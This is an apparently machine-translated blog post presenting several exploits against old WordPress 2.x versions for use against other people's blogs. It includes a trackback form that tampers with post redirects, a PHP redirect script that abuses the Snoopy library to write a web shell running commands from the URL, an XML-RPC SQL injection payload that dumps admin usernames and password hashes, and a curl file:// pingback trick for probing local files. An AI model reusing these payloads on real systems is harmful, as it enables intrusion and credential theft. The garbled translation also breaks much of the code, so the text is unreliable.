WordPress 博客个人信息发布平台0DAY

2011-1-3 柯冷 折腾


Framework of the preceding article was not allowed to tell me more about some interesting unpublished vulnerabilities and banal omissions WordPressSo now you'll be able to read the continuation of the penetration-testing of the famous blogging platformHere we go!

To begin, I want to cite some statistics from a study that was conducted by me in the middle of January this year.
From issuing beloved by all Google was randomly taken 33,534 unique blog running on WordPress, which were then parsed in an attempt to determine their versionHere's what came of it:

1.5.x - 207 blogs (0.6%)
2.0.x - 1624 blog (4.8%)
2.1.x - 1,219 blogs (3.6%)
2.2.x - 2,175 blogs (6.4%)
2.3.x - 4,366 blogs (13%)
2.5.x - 4343 blog (12.9%)
2.6.x - 8,715 blogs (25.9%)
2.7.x - 5,986 blogs (17.8%)
Unknown - 4899 blogs (14.6%)
One can understand that the most popular and represent for you and me, interesting branches are 2.3.x, 2.5.x, 2.6.x, 2.7.x (2.4.x developers have missed for some reason).

At the same time, these branches was found and published a very small number of vulnerabilities (recall that the last sql-injection was in public in the 2.2.2 version).
In the first part I tried to correct this misunderstanding, but as you already knew this was not the last closet Vulnerability WordPress ...

Joke humor
Imagine that on the right we present blog post with the address
Do you want to annoy /make fun of the admin and make sure that this post had also address such
Developers WordPress gladly give you that opportunity! But what it is: a bug or a feature - I do not know:).

To begin a detailed analyze the mechanism of posting comments in the final at this writing, version 2.7.1.

1I've found wp-comments-post.php (as well as the wp-trackback.php), through which all comments have a following code:
<pre lang="php">
$ Commentdata = compact ('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
$ Comment_id = wp_new_comment ($ commentdata);

2This function we can easily find in/Wp-includes /comment.php:

function wp_new_comment ($ commentdata)
$ Comment_ID = wp_insert_comment ($ commentdata);

3Ibid spend a small reversing:

function wp_insert_comment ($ commentdata)
if ($ comment_approved == 1)
wp_update_comment_count ($ comment_post_ID);

return $ id;
function wp_update_comment_count ($ post_id, $ do_deferred = false)
elseif ($ post_id) {
return wp_update_comment_count_now ($ post_id);
function wp_update_comment_count_now ($ post_id)
do_action ('edit_post', $ post_id, $ post);
return true;
4Action edit_post defined in/Wp-includes /default-filters.php:
<pre lang="php">

add_action ('edit_post', 'wp_check_for_changed_slugs');

5Find the desired us to function in/Wp-includes /post.php:

<pre lang="php">
function wp_check_for_changed_slugs ($ post_id) {
if (! isset ($ _POST ['wp-old-slug']) | |! strlen ($ _POST ['wp-old-slug']))
//If we haven't added this old slug before, add it now
if (! count ($ old_slugs) | |! in_array ($ _POST ['wp-old-slug'], $ old_slugs))
add_post_meta ($ post_id, '_wp_old_slug', $ _POST ['wp-old-slug']);

6And, actually, what all this code we needed,/Wp-includes /query.php:
<pre lang="php">
function wp_old_slug_redirect ()
$ Query = "SELECT post_id FROM $ wpdb-> postmeta, $ wpdb-> posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value = '"$ Wp_query-> query_vars ['name']"'";
wp_redirect ($ link, '301 '); //Permanent redirect
From the analysis above code the following conclusion: if the database for a particular position has a value «_wp_old_slug», then it is carried out a redirect to the real address of the postTo add this value, your comment must be zaappruvlenHow to leave comments without being moderated, you already know the first part of the article:)Now, finally, ready to exploit for our jokes:
<pre lang="html">
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID]" method="post">
Title: <input name="title" value="commenter"/> <br/>
URL: <input name="url" value="http://%/la.com"/> <br/>
Comment: <input name="excerpt" value=""/> <br/>
Slug: <input name="wp-old-slug" value=""/> <br/>
<input name="blog_name" value="Blog" /> <br/>
<input type="submit" value="ok"/>

In the «Slug» insert the new name for a suitable post and link admin to show, watching his reaction.

Unsafe Snoopy
It is time to take another nod to the previous articleAs you may remember, WordPress 2.5.x-2.6.x allows any registered user can easily substitute for RSS-feeds in the DashboardDug out this wonderful bug bit deeper, we can easily achieve the execution of arbitrary code on the server that is running a blog.

So, remember about a discovered zabugornye kodokopatelyami code exec vulnerability in the class Snoopy, which is also present in WordpressItself is a vulnerability in the Snoopy vordpressovskom was patched with escapeshellcmd still in 1.5.x branch, but, nevertheless, the developers have taken, and spoiled quite workable code incomprehensible patch in version 2.6.3.

I guess what they were thinking by looking at the post devbloga with these words:

A vulnerability in the Snoopy library was announced todayWordPress uses Snoopy to fetch the feeds shown in the DashboardAlthough this seems to be a low risk vulnerability for WordPress users, we wanted to get an update out immediately.

Also, when comparing the code of Snoopy WordPress <= 2.6.2:
<pre lang="php">
exec (escapeshellcmd ($ this-> curl_path"-D \" $ headerfile\""$ cmdline_params"\" "$ safer_URI."\""),$ results, $ return);
- Snoopy code of WordPress <= 2.6.5:
<pre lang="php">
exec ($ this-> curl_path"-k-D \" $ headerfile\""$ cmdline_params"\" "escapeshellcmd ($ URI)."\"", $ results, $ return);

The second code - it is an official patch developers Snoopy, which closes the previous code exec (but does not close a new one)Funny, is not it? Why patch something that was so bad patched? The answers to these questions, we hardly know.

Such negligence of developers revealed to me the way to a remarkable vulnerabilityBut first things first.

1Way from the first part of Article Refine any RSS-feed on the main page the admin, and the address of the stake to its clever script, for example, http://lamer.com/code-exec.php;

2Script code-exec.php should contain the following code:
<pre lang="php">
<? Php
header ('set-cookie: `echo \' <? php system ($ _GET [aa]);?>\'> ./wp-content /test.php` = cooka');
header ("Location: https: //chto-ugodno.com /? feed = rss2");
After making these simple actions to the appropriate blog/Wp-content /test.php flood shellWe now consider, where and why this is possible:

1Only on WordPress 2.6.3, 2.6.5 (2.6.4 was not simple, and in 2.7 Snoopy is almost not used) with an open registration required for editing RSS-feeds;

2Only on systems where the curl is installed in /usr /local /bin /curl (the most common system in such a configuration file - FreeBSD), since this is the notorious hard-coded path in/Wp-includes /class-snoopy.php, plus a binary Kurla verify the existence and enforceability:
<pre lang="php">
if (! $ this-> curl_path)
return false;
if (function_exists ("is_executable"))
if (! is_executable ($ this-> curl_path))
return false;
3This works because Snoopy supports forwarding (up to 5 times by default)During it he can set cookies and other hedery to send server-side scriptAs you can see from psevdopatcha over filtration hederov transfer them to the exec () No one, of course, not thought.

4This works not only cookies, but in many other titlesFor example, we will be able to pass arbitrary code in the header HOST follows:
<pre lang="php">
<? Php
header ("Location: https: //lal` my evil command `com");
Sly upload
The next step - a great SQL-injection, the observed companion Elect more than a year ago in all WordPress versions 2.2.x-2.3.xTo use it, user must have the rights «upload_files» (ie, the role of Editor).

Consider the source code interface for remote publishing to WordPress - xmlrpc.php (yes, in this file was found the largest number of SQL-injection engine)The interface of the present method metaWeblog.newMediaObject, which is a direct reference to the function mw_newMediaObjectDraw a small reversing:

<pre lang="php">
function mw_newMediaObject ($ args)
$ Blog_ID = (int) $ args [0];
$ User_login = $ wpdb-> escape ($ args [1]);
$ User_pass = $ wpdb-> escape ($ args [2]);
$ Data = $ args [3];
$ Name = sanitize_file_name ($ data ['name']);
$ Type = $ data ['type'];
$ Bits = $ data ['bits'];
$ Attachment = array (
'Post_title' => $ name,
'Post_content' =>'',
'Post_type' => 'attachment',
'Post_parent' => $ post_id,
'Post_mime_type' => $ type,
'Guid' => $ upload ['url']
//Save the data
$ Id = wp_insert_attachment ($ attachment, $ upload ['file'], $ post_id);
2/Wp-includes /post.php
<pre lang="php">
function wp_insert_attachment ($ object, $ file = false, $ parent = 0)
$ Object = wp_parse_args ($ object, $ defaults);
extract ($ object, EXTR_SKIP);
if ($ update) {
$ Wpdb-> query (
"UPDATE $ wpdb-> posts SET
post_author = '$ post_author',
post_date = '$ post_date',
post_date_gmt = '$ post_date_gmt',
post_content = '$ post_content',
post_content_filtered = '$ post_content_filtered',
post_title = '$ post_title',
post_excerpt = '$ post_excerpt',
post_status = '$ post_status',
post_type = '$ post_type',
comment_status = '$ comment_status',
ping_status = '$ ping_status',
post_password = '$ post_password',
post_name = '$ post_name',
to_ping = '$ to_ping',
pinged = '$ pinged',
post_modified = '"current_time (' mysql')."',
post_modified_gmt = '"current_time (' mysql ', 1 )."',
post_parent = '$ post_parent',
menu_order = '$ menu_order',
post_mime_type = '$ post_mime_type',
guid = '$ guid'
WHERE ID = $ post_ID ");

Tracing the entire path of the variable $ type, you'll find that no one cared about her filter before inserting in SQL-query:)Therefore, we can easily proinzhektit UPDATE query, for example, sending a package to the POST-xmlrpc.php:
<pre lang="php">

<? Xml version = "1.0" encoding = "UTF-7"?> <methodCall>
<methodName> wp.uploadFile </methodName>
<param> <value> <string> 1 </string> </value> </param>
<param> <value> <string> [IMYA_AVTORA] </string> </value> </param>
<param> <value> <string> [PAROL_AVTORA] </string> </value> </param>
<param> <struct>
<name> name </name>
<value> xxx.gif </value>
<name> type </name>
<value> gif ', (select concat (user_login ,':', user_pass) from wp_users limit a ))/*</value>
<name> bits </name>
<value> HELLO WORLD! </value>
<param> <value> <string> 77 </string> </value> </param>
</Params> </methodCall>

After sending the packet to the blog of the victim hurry to go to the admin panel: Manage => UploadsIn the «URL» in case of successful operation of the exploit you will see the hash and the password admin.

Tricks with Kurlov
Present to your attention yet another vulnerability WordPress (found with the help of Electa), which is to verify the existence of any file on a vulnerable blogAffects all versions of the engine, starting with 2.7.

First you need to say that this is not the vulnerability of WordPress, but rather a feature curl, php-library which is just yuzaet WordPress instead gone into oblivion Snoopy.

Thus, the vulnerability of Kurla is that he can read with pleasure for you not only deleted files on http, but also local with the prefix «file ://»! But as a rule, the prefixes are checked at the entrance to another script and it would seem, «file: //» zayuzat impossibleHowever, no one thought that curl supports forwarding through the flag «CURLOPT_FOLLOWLOCATION»That is, - substituting Kurlya quite normal http, at the output we can get a reading of arbitrary local files (for a detailed advisory of the pioneer look in the footnotes)! In Wordpress a lot of files yuzayut class/Wp-includes /http.php, but now we consider only one of the most affordable pre-auth and procedures for maintenance bugs (to find other ways in admin - your homework:)).
First, consider some particularly important for the operation of the bug chunks of code in the latest version of WordPress (2.7.1):

1/Wp-includes /http.php
<pre lang="php">
class WP_Http_Curl {
function request ($ url, $ args = array ()) {
if (! ini_get ('safe_mode') & &! ini_get ('open_basedir'))
curl_setopt ($ handle, CURLOPT_FOLLOWLOCATION, true);
Yes! You see the same flag that is responsible for supporting a round-trip! Next omit arcane code, but I'll just say that by default (of four possible variants) as a transport http-data Wordpress chooses Kurlya:

function wp_remote_get ($ url, $ args = array ()) {
$ ObjFetchSite = _wp_http_get_object ();

return $ objFetchSite-> get ($ url, $ args);

2Features outlined above is used/Wp-includes /functions.php:

function wp_remote_fopen ($ uri) {
$ Response = wp_remote_get ($ uri, $ options);

3And finally, this same function is used already a favorite of your interface xmlrpc:

function pingback_ping ($ args) {
$ Pagelinkedfrom = $ args [0];
$ Pagelinkedto = $ args [1];
//Let's check the remote site
$ Linea = wp_remote_fopen ($ pagelinkedfrom);

Now we have everything you need to write an exploit - to which we now proceed.

Was there a video?
As you already figured out, we will act through the mechanism of pingbekov, about which I have repeatedly talked in previous issues] [For work, we need two files available on httpFor example, as follows:
Assuming that our blog - lamer.com /blog, and that the test stand is the Wind, will begin work on the necessary files:

<pre lang="php">
<? Php
header ("<title> Exploit </title> <a href="http://lamer.com/ping2/?p=1#lamer.com/blog"> Curl </a>");
header ("Location: file: ///c:\boot.ini", 302);


<a href="http://lamer.com/ping1/?p=2"> Ping2 </a>

In this example, the first file will be able to ping the second, thanks to yet another flaw WordPressLook to the mechanism of pings xmlrpc.php:

//Check if the page linked to is in our site
$ Pos1 = strpos ($ pagelinkedto, str_replace (array ('http://www.', 'Http://', 'https: //www.', 'Https ://'),'', get_option ( 'home')));
if (! $ pos1)
return new IXR_Error (0, __ ('Is there no link to us ?'));

In this test does not need to ping a second site was always this blog because we can bypass the check by inserting the address of this very blogFor example, at the end of the URL after the grating.

All set to check for file c:\boot.ini on the system under test.

For the exploitation of this vulnerability you need only send the following POST-server package for xmlrpc:
<pre lang="html">
<methodName> pingback.ping </methodName>
<param> <value> <string> http://lamer.com/ping1/?p=2 </string> </value> </param>
<param> <value> <string> http://lamer.com/ping2/?p = [test] # lamer.com /blog </string> </value> </param>

After sending the package you can get two responses from the server:

1If the file c:\boot.ini exists, then the blog will send such a response -

Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1 # lamer.com /blog registeredKeep the web talking! :-)

2If no such file exists, then wait for a response -

The source URL does not exist.

By the way, this way it would be quite possible to read the contents of any file system, if pingbek not reduced to a very small number of charactersSo, in a comment-pingbeke you will see only something like:

[...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file: ///c: boot.ini Content-Length: 0 Connection: close Content-Type: text /html; [...]

The contents of c:\boot.ini is somewhere under the cut:)The described method of exploitation is not uniqueIn admin area you can find other function calls wp_get_http (), and which will allow you to read files on the systemFind them - have your job.

To be continued ...
Well, do you still think WordPress sound engine? Do not forget: malignant kodokopateli daily along and across the torment WordPress codebaseAs the saying goes, "To be continued ...":).

Thank Raz0r for writing code exec exploit for WordPress 2.6.x, as well as Elekt for any vulnerability.

标签: WordPress 博客 漏洞 0day


Powered by emlog